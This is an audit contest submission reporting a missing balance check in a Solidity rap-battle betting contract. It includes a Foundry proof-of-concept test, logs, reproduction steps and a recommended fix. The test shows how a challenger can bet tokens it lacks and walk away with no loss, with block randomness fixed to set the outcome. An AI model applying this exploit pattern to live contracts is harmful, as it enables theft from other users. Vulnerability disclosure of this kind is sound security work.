Submission Details
Severity:
`RapBattle::goOnStageOrBattle` Insufficient balance check leads to risk-free participation in battles
Summary
RapBattle::goOnStageOrBattle allows the challenger to participate in battles without risking any of their own CRED tokens as long as the bet is greater than the challenger balance. If the challenger loses the battle, the transaction will revert with ERC20InsufficientBalance. This is due to the function not enforcing the challenger to have the required amount of tokens before participating in battles.
Vulnerability Details
POC
/**
* @notice Test that the challenger has nothing to lose
* The challenger can bet any amount that matches the defender's bet without having the amount in his balance.
* The challenger beneficts from both scenarios, if he wins, he gets the prize, if he loses, the transaction reverts and he doesn't lose tokens.
*/
function testChallengerHasNothingToLose() public twoSkilledRappers {
// +------------------------------------------------------+
// | Scenario 1: challenger loses |
// +------------------------------------------------------+
// There is no risk for the challenger as long as he bets more CRED than he has
// Set the values needed for the defender to win
vm.warp(1851935886);
vm.prevrandao(0x9deb00aa62f640fb232d1558f7b74d46406db492c85a9b670ad04e97f1db962a);
// Mint 100 CRED for the defender
vm.prank(address(streets));
cred.mint(user, 100);
// Defender goes on stage, bets 100 CRED
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 100);
rapBattle.goOnStageOrBattle(0, 100);
vm.stopPrank();
// Challenger goes on stage, he only has 4 CRED, bets 100 CRED anyways
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 100);
// Challenger loses, transaction reverts
vm.expectRevert(abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, challenger, 4, 100));
rapBattle.goOnStageOrBattle(1, 100);
// The challenger loses no CRED because he didn't have enough for the transaction to go through
console.log(
"The challenger loses and the transaction reverts \n -------------------------------------------------"
);
console.log("Defender balance: %s", cred.balanceOf(user)); // 4
console.log("Challenger balance: %s", cred.balanceOf(challenger)); // 4
console.log("Defender bet in the RapBattle contract: %s \n", cred.balanceOf(address(rapBattle))); // 100
// +-----------------------------------------------------+
// | Scenario 2: challenger wins |
// +-----------------------------------------------------+
// Set the values needed for the challenger to win
vm.warp(1734554881);
vm.prevrandao(0x18036768b27f6bc7df4ff432987c6681b786f52c931a824cf9f8228f1ea688b8);
// Defender is still on stage, challenger goes to battle
rapBattle.goOnStageOrBattle(1, 100);
console.log(
"The challenger wins without risking any balance \n -------------------------------------------------"
);
console.log("Defender balance:", cred.balanceOf(user)); // 4
console.log("Challenger balance:", cred.balanceOf(challenger)); // 104
console.log("Defender bet in the RapBattle contract: %s \n", cred.balanceOf(address(rapBattle))); // 0
}
Logs:
The challenger loses and the transaction reverts
-------------------------------------------------
Defender balance: 4
Challenger balance: 4
Defender bet in the RapBattle contract: 100
The challenger wins without risking any balance
-------------------------------------------------
Defender balance: 4
Challenger balance: 104
Defender bet in the RapBattle contract: 0
Steps to reproduce the POC
Add the following line to the imports of
OneShotTest.t.sol
import {IERC20Errors} from "../lib/openzeppelin-contracts/contracts/interfaces/draft-IERC6093.sol";
-
Copy-paste the
testChallengerHasNothingToLosefunction to theOneShotTest.t.solfile -
Run
forge test --mt testChallengerHasNothingToLose -vvin the terminal
Impact
There will be no rewards for the defender if they win the battle. The challenger can participate in battles without risking any of their own CRED tokens as long as the bet is greater than the challenger balance.
Tools Used
Manual review
Recommendations
Enforce the challenger to have the required amount of tokens before participating in battles.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ require(credToken.balanceOf(msg.sender) >= _credBet, "RapBattle: Not enough CRED to bet");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
Updates
Lead Judging Commences
inallhonesty over 1 year ago
Submission Judgement Published Assigned finding tags:
missing check for sufficient `_credBet_` approval
Rewards breakdown
nSLOC
201This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.